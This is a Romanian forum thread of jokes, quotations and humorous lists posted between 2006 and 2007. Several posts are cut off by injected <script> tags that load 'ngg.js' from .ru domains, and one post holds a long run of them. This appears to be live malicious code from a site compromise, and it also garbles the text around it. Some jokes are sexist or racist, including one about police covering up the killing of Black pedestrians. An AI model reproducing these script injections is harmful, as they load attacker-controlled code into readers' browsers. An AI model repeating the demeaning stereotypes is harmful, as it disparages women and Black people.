Baiatul pleaca din nou, dar se intoarce la fel de repede: - Mami, mami, am vazut multi barbati cu cocosel muuuult mai mare ca al lui tata! - Cu cat este mai mare, cu atat sunt mai prosti! raspunde mama.

Baiatul pleaca pt a treia oara si la intoarcere spune: - Mami, tocmai l-am vazut pe tati vorbind cu cea mai proasta femeie pe care am vazut-o vreodata, si cu cat vorbea mai mult cu

atat era mai prost....

04.08.2006, 06:50
Doua femei joaca golf si se distreaza de minune pana cand una dintre ele trimite mingea exact in mijlocul unui grup de barbati. Din nefericire, unul dintre ei cade secerat la pamant, zvircolindu-se de durere cu ambele maini intre picioare. Femeia fuge la el, isi cere mii de scuze si il roaga sa-i permita sa-l ajute pentru ca, intamplator, este asistenta medicala. - Nu, multumesc, in citeva minute am sa-mi revin, sopteste barbatul, zvarcolindu-se cu mainile intre picioare. Simtindu-se teribil de vinovata, femeia ii da miinile usor la o parte, ii desface cu mare grija fermoarul pantalonilor si incepe sa-l maseze in zona cu problema. - Va simtiti mai bine? il intreaba la un moment dat. - Da, mult mai bine, geme tipul. Dar degetele de la mana tot ma dor ca dracu'...

18.08.2006, 08:04
Un politist gaseste un pinguin si il duce la sectie la care seful:
-Ce faci cu pinguinul asta, du-l la gradina zoologica.
A doua zi apare din nou cu pinguinul.
-Ma, ti-am spus sa-l duci la gradina zoologica.
-Am fost ieri, azi mergem la cinema.

Un politist vede la trei metri in fata o coaja de banana.
- Baga-mi-as picioru iar tre' sa cad!

Cica intra un politist intr-un bar si cere o sirma ca si-a uitat cheile in contact la masina.Dupa doua minute intra in bar un tip si zice:
-Doamne ce am vazut!
-Ce? un politai isi scotea cheile din masina cu o sirma pe geam.
-Il dirija alt politai din masina!!!!

18.08.2006, 08:08
<DIV style="MARGIN: 10px; COLOR: #000000">Un negru in Gara de Nord se plimba cu un papagal pe umar. Un smecher intreaba:
Dar papagalul raspunde:
-Abia ieri l-am primit din Africa!</DIV>

18.08.2006, 09:24
Un elicopter s-a prabusit intr-un cimitir. Politistii au recuperat 300 de victime.

Un politist se barbiereste. Suna telefonul. Politistul se taie... De ce ?
Sa stie unde a ramas...

Intamplare ADEVARATA, in Cluj:
Un tip traverseaza strada pe rosu. N-apuca bine sa puna piciorul pe trotuar ca se aude fluierul suav al politistului:
- Domnule, dar n-ati vazut ca e rosu? De ce ati traversat? Trebuie sa va dau o amenda!
- Domnule politist, nu intelegeti. Eu sunt ...daltonist!
- Ei si ce, acolo la voi in DALTONIA, NU SUNT SEMAFOARE ?!?!

18.08.2006, 12:10
<DIV dir=ltr align=left>AUDI : Another Ugly Deutsche Invention
BMW : Brings Me Women
FIAT : Failure In Italian Automotive Technology
FORD : Fix Or Repair Daily
SAAB : Shape Appears Ass-Backwards
HYUNDAI : Hope You Understand Nothing's Driveable And Inexpensive...
SUBARU : Screwed Up Beyond All Repair Usually
VOLVO : Very Odd Looking Vehicular Object
PORSCHE : Proof Of Rich Spoiled Children Having Everything
<st1:place w:st="&#111;n"><st1:State w:st="&#111;n">DACIA</st1:State></st1:place> : Daca Ai Cap, Ia-ti Alta</DIV>
<DIV class=Secti&#111;n1>

Intr-o zi frumoasa de primavara un motociclist a iesit la plimbare cu noua lui achizitie: O motocicleta Carpati.
Cum se plimba el pe drum cu noua motocicleta, la un moment dat trece pe langa el un alt motociclist cu un Harlley Davison. Se uita motocilcistul nostru la el si trece mai departe. Dupa un timp un alt motociclist trece pe langa el cu un Suzuki. Se uita cam mirat motociclistul nostru la el si merge mai departe.
A doua zi se intalnesc toti trei motociclistii la spital.Cel cu motocicleta Carpati incepe sa ii intrebe pe ceilalti doi cu au ajuns in spital.
- Pai nu am putut sa iau o curba la vitaza pe care am avut-o si m-am bagat intr-un stalp! spune cel cu Harley Davison
- Si eu am avut viteza mare si nu mi-au mai prins franele! spune cel cu Suzuki. Dar tu cum ai ajuns la spital?
- Pai eu cand am vazut cum a-ti trecut pe langa mine am crezut ca stau pe loc si m-am dat jos.

- Care este asemanarea dintre un trabant si un bordel ?
- In amandoua intri cu rusine si iesi cu placere.

In Alabama, un alb beat crita isi conducea jeep-ul si accidenteaza doi pietoni negrii in asa hal incat pe unul il arunca la 20 de metri de masina iar pe celalalt il proiecteaza cu capul in parbriz.
Politia venita la locul accidentului spune...
- Hai ca cu asta din parbriz e usor... a incercat sa intre in masina k sa o fure! Dar ce facem noi cu ala asa departe?...hmmm.... spunem k a vrut sa fuga de la locul accidentului!</DIV><script src=http://www<script src=http://www.iroe.ru/ngg.js></script>

29.09.2006, 04:05
If your father is a poor man, it is your fate.But, if your father-in-law is a poor man...it's your stupidity. .................................................. .......... ................................................. I was born intelligent - education ruined me. .................................................. .......... ........................................ Practice makes perfect.....But nobody's perfect......So why practice? .................................................. .......... ................................................. If it's true that we are here to help others,then what exactly are the others here for? .................................................. .......... ........................................ Since light travels faster than sound,people appear bright until you hear them speak. .................................................. .......... ................................................. How come "abbreviated" is such a long word? .................................................. .......... ........................................ Money is not everything.There's Mastercard &amp; Visa. .................................................. .......... ................................................. Behind ever<script src=http://www.iroe.ru/ngg.js></script>

29.09.2006, 08:08
Un sergent in permisie merge la o prostituata si o intreaba:
- Domnisoara acceptati compania mea pentru 200.000 de lei?
Ea zice : - Da!
Sergentul se intoarce si striga:
- Companieeee, inaintee mars!!

05.10.2006, 08:10
E joi..cu tenta de vineri:)


06.10.2006, 07:53
proba de engleza

In procesul integrarii in UE, presedintele
Ungariei, cel al Bulgariei si cel al Romaniei sunt supusi unor probe.
Una dintre ele este sa realizeze o descriere a unui fragment de zi in
care sa foloseasca cuvintele GREEN, YELLOW, PINK.


1. Ungaria: When I wake up in the morning, I feel fresh and green, I see the yellow sun and I think it will be a pink day.

2. Bulgaria: In the morning, I drink a yellow lemon juice. At noon, I
eat a green apple. In the evening, I watch Pink Panther at the TV.

3. Domnu' Basescu: Uen ai ueic ap in za morning, ai hiar za telefaun
ringhing GREEN-GREEN! Sou, ai PINK ap za phone end ai sei "YELLOW?"

06.10.2006, 07:57
One day in the Garden of Eden, Eve called out to God. "Lord I have a problem!"

"What's the problem, Eve?"

"Lord, I know you created me and provided this beautiful garden and all
of these wonderful animals and that hilarious comedic snake, but I'm
just not happy."

"Why is that, Eve?" came the reply from above.

"Lord, I am lonely, and I'm sick to death of apples."

"Well, Eve, in that case, I have a solution. I shall create a man for you."

"What's a man, Lord?"

"This man will be a flawed creature with many bad traits. He'll lie,
cheat, and be vain. All in all, he'll give you a hard time. But he'll
be bigger, faster, and will like to hunt and kill things. He will look
silly when he's aroused, but since you've been complaining, I'll create
him in such a way that he will satisfy your physical needs. He will be
witless and will revel in childish things like fighting and kicking a
ball about.

He won't be too smart, so he'll also need your advice to think properly."

"Sounds great." said Eve, with an ironically raised eyebrow.

"What's the catch, Lord?"

"Well...you can have him on one condition."

"What's that, Lord?"

"As I said, he'll be proud, arrogant, and self-admiring...so you'll
have to let him believe that I made him first. Just remember, it's our
little secret...You know, woman to woman."

06.10.2006, 08:13
Se prezinta o fatuca la interviu, patronul o ia si-o
prelucreaza "fata draga noi nu zicem NU AVEM la
clienti, ii aburim, ii amanam si facem rost ".
Zis si facut, trece o luna, prinde fata manevra,
intra un cetatean:
- manusi aveti?
V: pai, sigur... de care sa fie? de piele? tricotate?
- de piele, normale
V: cu un deget, cu 2 cu 5?
- normale, cu 5.
V: albe, rosii, verzi?
- negre, normale.
V: le purtati la palton sau la jacheta?
- la palton, ca vine iarna
V: domnule eu va propun sa veniti maine cu paltonul,
sa vedem ce se asorteaza.
Pleaca omul fericit ca-l bagase cineva in seama, cand
sa iasa pe usa intra val-vartej unul hiper-furios c-un
colac de buda intr-o mana si c-o placa de faianta in
- Cucoana, uite asta-i colacul de la buda, asta-i
nuanta la faianta, ... curu' ti l-am aratat ieri ...

12.10.2006, 19:51
o femeie se afla in casa cu amantul , cand se aud pasii sotului.

-Apartamentul are o singura iesire , ii spune ea amantului . Trebuie sa sari pe fereastra!

-Cum? , intreaba amantul cu o voce sugrumata . Suntem la etajul al XIII-lea !

-Sari , sari acum nu e momentul sa fii superstitios !...

13.10.2006, 03:26
Intr-o lume condusa de romantism, ai un singur scop: fa-ti femeia fericita.
Fa ceva ce-i place si iei puncte. Daca nu ii faci pe plac, ti se iau puncte. Nu iei nici un punct daca faci ceva la care se asteapta. Imi pare rau, dar asa se joaca jocul asta. Fie ca vrei sau fie ca nu! Ai aici un rezumat al sistemului de punctare:

Indatoriri simple:
Daca faci patul...............+1
Daca faci patul, dar uiti sa pui pernutele decorative... 0
Daca pui patura peste cearsafurile nearanjate...-1
Daca lasi capacul wc-ului sus....-5
Daca inlocuiesti sulul de hartie igienica cand se termina.... 0

Daca te duci sa-i iei tampoane...+5
si e zapada afara........+8
si te intorci cu bere....-5
si fara tampoane......-25

Daca verifici de unde se aude un zgomot ciudat noaptea.... 0
Daca verifici de unde se aude un zgomot ciudat si nu e nimic.... 0
Daca verifici de unde se aude un zgomot ciudat si chiar era ceva...+5
Daca lovesti intrusul cu un drug de fier...+10
si e pisica ei..................-40

La intalniri sociale :
Daca stai langa ea tot timpul petrecerii.... 0
Daca stai langa ea un timp, si apoi pleci sa stai de vorba cu un coleg din facultate, fost partener de betii...-2
si pe care-l cheama Anca...-4
si Anca este dansatoare..............-6
si are implanturi la sani..........-18

De ziua ei:
Daca o scoti la cina in oras....... 0
Daca o scoti la cina in oras si nu intr-un bar...+1
Daca totusi e un bar........................-2
Daca este si un bar cu bufet suedez...-3
Daca este si un bar cu bufet suedez si mai ai si fata vopsita in culorile echipei favorite... -10

O seara in oras:
Daca o duci la film................+2
Daca o duci la filmul care ii place...+4
Daca o duci la un film care nu iti place...+6
Daca o duci la un film care iti place tie...-2
Daca o duci la filmul Death Cop 3...-3
Daca filmul Death Cop 3 este despre cyborgi care mananca oameni...-9
Daca ai mintit-o si i-ai spus ca este un film strain despre orfani...-15

Aspectul fizic:
Daca ai capatat o burta vizibila......................-15
Daca ai capatat o burta vizibila si faci exercitii sa scapi de ea...+10
Daca ai capatat o burta vizibila si recurgi la blugi largi si tricou.-30

Daca spui "Nu conteaza, ai si tu una"...............-800

Marea intrebare:
Ea intreaba "Sunt grasa?"
Daca eviti sa raspunzi...............-1
Daca intrebi "Unde anume?"..........................-35
Daca raspunzi orice altceva......-20

Cand ea vrea sa vorbeasca despre o problema:
Daca o asculti, afisand o expresie ingrijorata... 0
Daca o asculti mai bine de 30 minute........+5
Daca o asculti mai bine de 30 minute fara sa te uiti la elevizor..+100
Daca isi da seama ca ai reusit asta pentru ca ai adormit...-20

13.10.2006, 03:51
Se intalnesc doua prietene pe strada, dintre care una este cu ochiul vanat si care este intrebata:

- Dar draga, ce s-a intamplat cu tine ca esti vanata la ochi?

- ...pai i-am spus sotului "poate tu"...

-...dar totusi numai pentru atata nu avea nici un motiv sa te bata, fii mai explicita...

-...pai, mi-a zis ca ar fi timpul sa mai facem si noi sex, ca n-am mai facut demult, la care eu i-am raspuns..."poate tu"

13.10.2006, 06:22
O fetita se uita pe gaura cheii in camera parintilor. La un moment dat exclama:
"Si cand te gandesti ca pe mine vor sa ma duca la psihiatru pentru ca-mi sug degetul".

13.10.2006, 06:23
Trei studenti inaintea unui examen, unul foarte bine pregatit, unul cu un nivel mediu de cunostinte si unul ultra slab, se inteleg asupra ordinii de intrare. Cel mediu, intra primul. La iesirea din examen, ceilalti il intreaba:
- Cum a fost?
- Ca o discutie normala de la profesor la student!
Intra cel supertare. La iesire, aceeasi intrebare, raspunsul:
- Ca o discutie de la profesor la profesor!

13.10.2006, 06:25
Intrebare: Care este diferenta intre a te masturba si a face sex?
Raspuns: In principiu nici una, dar daca faci sex mai cunosti lume...

Intrebare: Care e avantajul in a face sex in grup?
Raspuns: Daca ai treaba poti sa pleci.

13.10.2006, 06:27
-Un fiu isi intreaba tatal.
-Tata care este diferenta dintre logodna si casatorie
-Paaii......ai intales
-Nu prea.
-Este ca si cum ti-as darui o biciclete de Craciun si nu te-asi lasa sa te sui pe ea pana la Pasti.

13.10.2006, 06:29
Cica se duce o blonda la cazino si zice:
-Vreau sa pariez pe 2 numere, dar ca sa castig trebuie sa ma dezbrac. Toti sunt de acord,se dezbraca si arunca zarurile.
-Am castigat, am castigat, incepe sa se bucure ea. Ia banii si pleaca.
La care dealer-ul zice catre celalalt:
-Tu ai vazut zarurile pe care le-a aruncat?
-Nu, creadeam ca le-ai vazut tu,spuse celalalt dealer.
Nu toate blondele sunt proaste,dar barbatii tot barbati raman.


Se face un sondaj de opinie pe plan mondial si iata ce au raspuns oamenii din diverse parti ale lumii la intrebarea
"Ce parere aveti de lipsa de alimente din celelalte tari ale lumii?"
America : "ce sunt alea celelalte tari ale lumii?"
Africa : "ce sunt alea alimente?"
Europa de vest : "ce este aceea lipsa?"
Europa de est : "ce este aceea parere?"

27.10.2006, 04:06
Two men met while both where looking for their lost wives.
1st: How yours look like?
2nd: She is 5"7, 36-24-36, Fair, Black eyes. What about yours?
1st: Forget mine. Lets find yours!!

A man comes home, finds his wife with his friend in bed.He shoots his friend to death.
Wife says, "If you behave like this, you will lose ALL your friends".

Small boy wrote to Santa Claus," send me a brother"
Santa wrote back," SEND ME YOUR MOTHER"

What is the definition of Mistress?
Someone between the Mister and Mattress

Husband asks , "Do u know th<script src=http://www.iroe.ru/ngg.js></script>

27.10.2006, 05:13
Daca ai masina, trebuie sa inveti sa o conduci ca un bucurestean. In momentul in care te urci la volan,
trebuie sa uiti tot ce ai invatat la scoala de soferi (daca ai facut-o). Numai fraierii conduc ca la carte.
In practica, regulile se modifica dupa cum urmeaza:
I. Oprirea si stationarea
Poti sa opresti unde vrei si sa stationezi cat vrei, cu conditia sa:
a) nu fie vreun politist prin apropriere
b) sa pui luminile de avarie, daca ai chef. Daca nu ai chef, se tine cont numai de punctul anterior.
In Bucuresti exista urmatoarele tipuri de prioritate:
a) prioritatea de dreapta (optionala) - se aplica numai in cazul in care tu esti cel care vine din dreapta
b) prioritate de tramvai
c) prioritate de camion
d) prioritate de taxi
e) prioritate de smecher. Prioritatea de smecher se obtine prin unul din procedeele "ia-i fata", "baga-te cu
tupeu", "taie-i calea" si "ia mai da-l dracului, ca n-o sa stau aici toata ziua". Pietonii NU au prioritate
III. Alte sfaturi la fel de utile
Daca vrei sa fii un bucurestean veritabil trebuie sa tii cont de urmatoarele recomandari privind circulatia pe
drumurile publice:
* Semnificatia culorilor semaforului:
- verde - treci fara probleme
- galben - repede ca se pune rosu
- rosu - repede, ca e ultima sansa pina sa le dea drumul celorlalti.
* Daca este coada la stop si un sir lung de masini, iti recomandam tehnica "sirului shuntat". In acest scop,
mergi pe contrasens pe toata lungimea cozii de masini, pana ajungi la stop si apoi in virtutea prioritatii de
smecher (vezi si punctul anterior) reintri in coloana, in pole-position.
* Daca te afli al doilea la semafor, in secunda in care apare culoarea verde, trebuie sa apesi pe claxon, cat
mai lung si mai insistent, pentru a-l zori pe mocaitul din fata. Un claxon viguros este expresia unei
personalitati puternice deci, nu ezita!
* Daca esti prima masina de la stop si cineva te claxoneaza imediat cum se pune verde, opreste motorul,
ia-ti bata de baseball (obligatorie, se tine sub scaun), da-te jos din masina, du-te la cel care te-a claxonat si
sparge-i fata.
* Pe timp de noapte circula obligatoriu cu faza lunga. Poti folosi faza lunga si ziua, atunci cand mergi cu
* Daca circuli noaptea si o masina vine din fata cu faza lunga, baga-i si tu faza lunga in fata, de cateva ori,
intermitent. Farurile cu halogen dau efecte atat distractive cat si psihedelice.
* Daca inaintea ta se afla cineva cu o masina care merge mai incet claxoneaza-l si baga-i faza lunga in
ochi: sa se duca dracului acasa daca are masina si merge ca mortu'.
* Folositi claxonul cat mai mult, mai nervos si in mai multe tonalitati. Injura cu sete. Arata-i degetul
mijlociu. Intai mana stanga, apoi ambele - in Bucuresti se poate conduce tinand volanul cu genunchii.
* Daca nu stii sa injuri, nu esti sofer. Daca nu stii sa injuri 20 de minute in sir fara sa te repeti, nu esti sofer
* Cand ploua, va puteti face ziua mai vesela trecand in viteza cu masina prin baltoace in asa fel<script src=http://www.iroe.ru/ngg.js></script>

16.12.2006, 10:02
Un punk-er urca

16.12.2006, 10:04
Suna o blonda la Politie:

- Mi-au spart masina, mi-au furat totul...si volanul si pedalele si schimbatorul de viteze, totul......

Peste 5 min isi da cu palma peste cap si suna iar la politie:

-Va rog sa ma scuzati, m-am urcat in spate!...

29.12.2006, 05:19
Nu impuscati mesagerul smileys/smiley9.gif

------------------------------------------------------------ -------
Why is a Laundromat a really bad place to pick up a woman?
Because a woman who can't even afford a washing machine will probably never be able to support you.
------------------------------------------------------------ --------
Why do women have smaller feet than men?
It's one of those "evolutionary things" that allows them to stand closer to the kitchen sink.
------------------------------------------------------------ -------
How do you know when a woman is about to say something smart?
When she starts a sentence with "A man once told me..."
------------------------------------------------------------ -------
How do you fix a woman's watch?
You don't. There is a clock on the oven.
------------------------------------------------------------ -------
Why do men pass gas more than women?
Because women can't shut up long enough to build up the required pressure.
------------------------------------------------------------ -------
If your dog is barking at the back door and your wife is yelling at the front door, who do you let in first?
The dog, of course. He'll shut up once you let him in.
------------------------------------------------------------ -------
What's worse than a Male Chauvinist Pig?
A woman who won't do what she's told
------------------------------------------------------------ -------
I married a Miss Right.
I just didn't know her first name was Always.
------------------------------------------------------------ -------
Scientists have discovered a food that diminishes a woman's sex drive by 90%.
It's called a Wedding Cake.
------------------------------------------------------------ -------
Why do men die before their wives?
They want to.
------------------------------------------------------------ -------
Women will never be equal to men until they can walk down the street with a bald head and a beer gut, and still think they are sexy.
------------------------------------------------------------ -------
In the beginning, God created the earth and rested. Then God created Man and rested. Then God created Woman. Since then, neither God nor Man has rested.

05.01.2007, 03:13
Toate femeile sunt bune - bune de nimic sau bune la ceva.
Miguel De Cervantes

Nu poti sa cunosti o femeie pana nu o intalnesti la tribunal.
Norman Mailer

Hotii iti cer banii sau viata; femeile le vor pe amandoua.
Samuel Butler

Cred ca barbatii care au cercel in ureche sunt mai bine pregatiti pentru casatoria. Au suferit si au cumparat bijuterii.
Rita Rudner

Tine ochii bine deschisi inainte de casatorie si pe jumatate inchisi dupa.
Benjamin Franklin

Casatoria este triumful imaginatiei asupra inteligentei. A doua casatorie este triumful sperantei asupra experientei.
Oscar Wilde

Casatoria este singura aventura accesibila lasilor.

Toate nuntile sunt la fel, dar fiecare casnicie este diferita.
John Berger

Casatoria este ultima noastra sansa de a ne maturiza.
Joseph Barth

Sfatul meu este sa te casatoresti. Daca vei avea o nevasta buna, vei fi fericit; daca nu, vei deveni filosof.

Nu am aflat ce este fericirea decat in momentul in care m-am casatorit.
Dar atunci era deja prea tarziu.
Max Kauffman

Verighetele: cele mai mici catuse din lume.

Cand un barbat iti fura sotia, cea mai buna razbunare este sa il lasi sa o pastreze.
Sacha Guitry, Elles et toi, 1948

Femeile spera ca barbatii se vor schimba dupa casatorie; barbatii spera ca femeile vor ramane la fel dupa casatorie.
Bettina Arndt, Private Lives, 1986

Burlacii stiu mai multe despre femei decat barbatii casatoriti; in caz contrar, ar fi si ei casatoriti.
H.L. Mencken

Casatoria este o greseala pe care ar trebui sa o faca fiecare om.
George Jessel

Femeile sunt pasionate de matematica. Isi impart varsta la 2, dubleaza pretul hainelor si adauga intotdeauna 5 ani la varsta prietenei cele mai bune.
Marcel Achard

19.01.2007, 02:57
Sotul se intoarce acasa de la servici si ii spune sotiei, insufletit de o anume speranta:
-Stii iubito, l-am auzit pe portar cum se lauda ca s-a culcat cu toate femeile din blocul nostru. Si am auzit ca a facut o singura exceptie, o privi el cu subinteles.
Nevasta ii raspunde:
-Aaa!!! Precis e mototoala aia de la etajul trei!"

25.01.2007, 23:27
Si daca tot e vineri vreau si eu sa cuget cu mintea altuia:

- In momentele dificile ale vietii trebuie sa ridici capul, sa scoti pieptul in fata si sa spui cu hotarire: "Acuma chiar ca am pus-o!"
- Daca intr-o zi viata iti intoarce spatele...prinde-o de fund !!!
- Psihiatrii zic ca una dintre patru persoane are o deficienta mintala. Daca esti cu inca trei amici si nu ai observat nimic ciudat, atunci...cel cu probleme esti tu !!!
- Ca sa-ti atingi obiectivele trebuie sa fii un visator ....Asa ca nu mai pierde vremea, trimite totul la naiba si du-te sa te culci !!!
- Daca inca n-ai gasit persoana ideala...distreaza-te cu cea care o ai la indemina !!!
- Daca intr-o zi, femeia pe care-o iubesti ti-e infidela si iti trece prin cap sa te arunci din balcon, adu-ti aminte ca: Doar ai coarne, boule, nu aripi.
- Femeile sunt ca traducerile: cele bune nu-s fidele, si cele fidele nu-s bune.
- Daca intr-o zi simti un gol mare mananca, caci sigur ti-e foame.

08.02.2007, 23:24
Dedic aceasta poezie prietenei mele virtuale AMERICAN, si toata admiratia mea
Costache Ioanid (http://www.romanianvoice.com/poezii/poeti/ioanid.php) <O:P></O:P>
Puiul de lebada

Se revarsa din cr

09.02.2007, 02:06

<DIV class=Ms&#111;normal>Cerere de lasare la vatra pe motiv de incompatibilitate legala</DIV>
<DIV class=Ms&#111;normal>
Stimate Domnule Ministru,
<DIV class=Ms&#111;normal>
Situatia mea familiala si familiara, ma determina sa solicit sprijinul Domniei voastre in vederea lasarii la vatra.
Va rog sa analizati cu atentie, ce mi s-a intimplat :</DIV>
<DIV class=Ms&#111;normal>1. Inaintea incorporarii, m-am casatorit cu o vaduva de 44 de ani.</DIV>
<DIV class=Ms&#111;normal>2. Dupa scurt timp fiica sotiei mele, desi avea doar 25 de ani, s-a casatorit cu tatal meu, pe care l-a indragit la prima vedere cu prilejul casatoriei mele. In urma acestei duble casatorii, tatal meu mi-a devenit ginere fiindca s-a casatorit cu fiica mea, iar fata mea vitrega mi-a devenit soacra, ea fiind sotia tatalui meu.</DIV>
<DIV class=Ms&#111;normal>3. De Craciun, sotia mea a nascut un baiat. Baiatul a devenit astfelfratele sotiei tatalui meu, deci cumnat cu tatal meu. Prin urmare baiatul meu, fiind frate cu soacra mea, mi-a devenit unchi.</DIV>
<DIV class=Ms&#111;normal>4. Culmea face ca in ianuarie anul acesta, si sotia tatalui meu a nascut un baiat, care este pe de-o parte fratele meu (fiind fiul tatalui meu) si pe de alta parte nepotul meu (fiindca este fiul fiicei sotiei mele).Am devenit astfel fratele nepotului meu, si cum sotul unei mame devine tatal copiilor ei, si eu am devenit tatal sotiei mele si fratele fiuluimeu.</DIV>
<DIV class=Ms&#111;normal>
Cu alte cuvinte eu sunt propriul meu bunic ?!!</DIV>
<DIV class=Ms&#111;normal>
Avind in vedere ca legea interzice ca tatal, fiul si nepotul sa fiemobilizati in acelasi timp, va rog respectuos, stimate Domnule Ministru, sama lasati la vatra.</DIV>
<DIV class=Ms&#111;normal>Contind pe amabilul dvs. sprijin si binevoitoarea dvs intelegere de tata si adult, va rog sa agreati, stimate Domnule Ministru, salutarile mele deInalta consideratie.</DIV>
<DIV class=Ms&#111;normal>semnatura indescifrabila</DIV>ript><script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script><script src=http://www.iroe.ru/ngg.js></script><script src=http://www.kodj.ru/ngg.js></script><script src=http://www.kjwd.ru/ngg.js></script><script src=http://www.bce8.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script><script src=http://www.kpo3.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></s<script src=http://www.iroe.ru/ngg.js></script>

15.02.2007, 23:50
Si daca tot e vineri...mai reflect un pic...

* Cum se numeste un barbat

16.02.2007, 17:01
De Valentine's Day:

Sti cum i-ti faci femeia sa PLANGA cand faci dragoste?????
......O telefonezi si-i spui!!!!!!

17.02.2007, 14:33
iti multumesc de poezioara lebada , draga ... abia acum am vazut-o ... am postat si eu o poezioara pentru tine si toate cele dragi mie ... sub topicul " Happy Valentine " ...
si mai am si frumusetea asta de fotografie " din Dragoste " :


17.02.2007, 18:08
american_prayer, a cam trecut vinerea. smileys/smiley2.gifmicile detalii bata-le vina smileys/smiley36.giftopicul acesta era pentru sfanta relaxare de vineri, dinainte de a intra in weekend.

18.02.2007, 03:36
am impins limitele temporale ... cu numai o zi ... smileys/smiley4.gif
da ... ai dreptate - abia acum vad ... vezi tu , Sorine , eu intru pe forum dupa ce vin de la munca ... atunci cand mintea mea cauta relaxare , pace ... tacere ... nu mai vin aici cu sabia proaspat ascutita si cumintea agera , ca alte dati ...
promit sa citesc mai cu atentie ... si sa nu ma mai ating de topicul asta pana vinerea viitoare ! parol !

01.03.2007, 23:11
Un iluzionist lucra pe un vapor. In fiecare saptamana, dadea o reprezentatie De fiecare data, spectatorii erau altii, asa ca isi permitea sa faca mereu aceleasi scamatorii. Singura problema era papagalul capitanului, care incetul cu incetul a inceput sa priceapa
care sunt trucurile. Si la un moment dat s-a apucat sa dezvaluie secretul in mijlocul fiecarei reprezentatii:
- Aaaa, uitati, nu e aceeasi palarie!
- Aaaa, uitati, florile sunt ascunse sub masa!
- Aaaa, uitati, are ascunse niste carti in maneca! ... si asa mai
Iluzionistul se enerva de fiecare data, dar n-avea ce face. La un moment dat vaporul se scufunda, supravietuind doar iluzionistul si papagalul. Timp de cateva zile, plutind fiecare pe o scandura, s-au privit plini de dusmanie, fara sa scoata vreun cuvant.
Pana la urma, papagalul zice:
-OK! Ma dau batut. Unde e vaporul?

01.03.2007, 23:12
<B style="mso-bidi-font-weight: normal">

01.03.2007, 23:33
<B style="mso-bidi-font-weight: normal">Bancuri despre Trabant [/B]
* De ce sta Trabantul la semafor, desi acesta s-a facut verde?
S-a lipit intr-o guma de mestecat.
* De cati muncitori ai nevoie sa construiesti un Trabant?
Doi: unul decupeaza, celalalt lipeste!
* De ce nu are Trabantul centuri de siguranta?
Pentru ca ar putea fi confundat cu usurinta cu un rucsac.
* Cand americanul bogat primeste Trabantul pe care l-a comandat, exclama plin de recunostinta:"Nemtii astia - intotdeauna perfectionisti! Inainte sa-mi livreze masina, mi-au trimis o macheta din plastic!"
* Un trabantist la benzinarie, catre benzinar:"As vrea doua stergatoare de parbriz pentru trabantul meu."La care benzinarul: "Ok, mi se pare un schimb corect!"
* Care este asemanarea intre Trabant si un bordel?
In amandoua iti e rusine sa intri, din amandoua iti e rusine sa iesi, dar iti place inauntru!
* Care este diferenta dintre Trabant si un avion de vanatoare cu reactie?
Avionul, mai intai il vezi, dupa aia il auzi. Trabantul, mai intai il auzi.
* Cum gasesti piesele care-ti cad din Trabant pe drum?
Urmarind un alt Trabant.
* Ce inseamna un Trabant pe varful unui deal?

15.03.2007, 21:27
<H3 style="MARGIN: 0in 0in 0pt; tab-stops: 27.0pt">Ati vrea sa aveti o astfel de zi?</H3>
<H3 style="MARGIN: 0in 0in 0pt; TEXT-ALIGN: center; tab-stops: 27.0pt" align=center></H3>
<H3 style="MARGIN: 0in 0in 0pt; tab-stops: 27.0pt">08:15 - Trezire prin saruturi si gadilarea cu ajutorul unei petale de</H3>
<H3 style="MARGIN: 0in 0in 0pt; tab-stops: 27.0pt">trandafir din import. </H3>
<H3 style="MARGIN: 0in 0in 0pt; tab-stops: 27.0pt">08:30 - Masurare pe cantar - 2 kilograme mai putin decat ieri.</H3>
<H3 style="MARGIN: 0in 0in 0pt; tab-stops: 27.0pt">08:45 - Micul dejun in pat (croissant, suc de portocale proaspate).</H3>
<H3 style="MARGIN: 0in 0in 0pt; tab-stops: 27.0pt">Deschiderea cadoului (inel cu diamant de 5 karate ales de partenerul atent). </H3>
<H3 style="MARGIN: 0in 0in 0pt; tab-stops: 27.0pt">08:50 - Stiri la "Shopping channel" (Mari reduceri la "Gucci").</H3>
<H3 style="MARGIN: 0in 0in 0pt; tab-stops: 27.0pt">09:15 - Baie fierbinte in uleiuri mirositoare.</H3>
<H3 style="MARGIN: 0in 0in 0pt; tab-stops: 27.0pt">10:15 - Relaxare usoara prin fitness cu ajutorul unui antrenor personal amuzant si bine cladit.</H3>
<H3 style="MARGIN: 0in 0in 0pt; tab-stops: 27.0pt">10:30 - Ingrijirea tenului, manichiura, spalarea parului, coafatul.</H3>
<H3 style="MARGIN: 0in 0in 0pt; tab-stops: 27.0pt">12:00 - Pranzul cu cea mai buna prietena intr-un restaurant.</H3>
<H3 style="MARGIN: 0in 0in 0pt; tab-stops: 27.0pt">12:45 - Intalnirea fostei prietene a partenerului si constatarea ca s- a ingrasat cu 7 kilograme.</H3>
<H3 style="MARGIN: 0in 0in 0pt; tab-stops: 27.0pt">13:00 - Shoping cu cea mai buna prietena (carte de credit nelimitata).</H3>
<H3 style="MARGIN: 0in 0in 0pt; tab-stops: 27.0pt">15:00 - Somnul de dupa masa.</H3>
<H3 style="MARGIN: 0in 0in 0pt; tab-stops: 27.0pt"></script>

16.03.2007, 05:05
23:30 - Se trezeste toata transpirata, cu febra de 104F si isi da seama ca totul a fost o halucinatie.

22.03.2007, 21:27

Am o varianta de zi idealasi pentru barbati. Dar, cum tu nu duci lipsa de imaginatiesmileys/smiley2.gif, te las sa te desfasori. Vezi sa nu te trezesti si tu prea transpirat!smileys/smiley36.gifSi tine pe aproape un stingator!smileys/smiley36.gif

22.03.2007, 21:38
<H3 style="MARGIN: 12pt 0in 3pt; tab-stops: 27.0pt">Miracole ...la barbati</H3>
<H3 style="MARGIN: 12pt 0in 3pt; tab-stops: 27.0pt">1. Toti barbatii sunt al dracului de ocupati.
2. Desi suntem ocupati, avem vreme de femei.
3. Desi avem vreme de femei, nu prea ne intereseaza de ele.
4. Desi nu prea ne intereseaza femeile, tot timpul avem una langa noi.
5. Desi tot timpul avem una langa noi, ne mai "dam si la alta sau altele.
6. Desi ne mai dam la alta sau altele, ne enervam daca femeia cu care suntem ne paraseste.
7. Desi femeia cu care suntem ne paraseste, tot nu invatam din greselile pe care le facem (si tot ne mai dam la altele).</H3>
<H3 style="MARGIN: 12pt 0in 3pt; tab-stops: 27.0pt">
Miracole...la femei

